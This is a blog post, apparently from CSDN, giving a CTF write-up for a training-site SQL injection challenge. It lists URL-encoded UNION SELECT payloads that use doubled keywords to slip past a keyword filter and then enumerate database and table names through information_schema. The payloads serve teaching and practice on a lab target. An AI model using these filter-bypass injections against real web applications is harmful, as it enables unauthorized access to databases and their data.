实验吧简单的SQL注入三连击

最新推荐文章于 2022-07-25 15:13:19 发布

wenake

最新推荐文章于 2022-07-25 15:13:19 发布

阅读量282

点赞数

分类专栏： WriteUp 文章标签：实验吧 CTF SQL注入 Web

本文链接：https://blog.csdn.net/wenake/article/details/88263950

版权

本文详细介绍了三种简单的SQL注入案例，包括利用双写绕过、/**/替换空格以及报错注入方法来获取数据库信息。通过爆库、爆表、爆字段到输出关键数据，展示了SQL注入的攻击过程，并分享了关键字过滤的绕过技巧和信息获取的多种途径。

摘要由CSDN通过智能技术生成

information_schema

简单的sql注入1

检查注入点特征,发现对某些关键字有过滤
在这里插入图片描述
爆出所有的数据库名
双写绕过
方法1

http://ctf5.shiyanbar.com/423/web/?id=%27%20unionunion%20%20selectselect%20%20schema_name%20%20fromfrom%20%20information_schema.schemata%20wherewhere%20%20%271%27=%271

在这里插入图片描述
方法2

http://ctf5.shiyanbar.com/423/web/?id=1%27%20unionunion%20%20selectselect%20%20database()%27

在这里插入图片描述
爆出web1库下所有表名

http://ctf5.shiyanbar.com/423/web/?id=%27%20unionunion%20%20selectselect%20%20table_name%20%20fromfrom%20%20information_schema.columninformation_schema.columnss%20%20wherewhere%20%20table_schemtable_schemaa=%27web1%27%20andand%20%20%271%27=%271

(question:why not information_schema.tables?)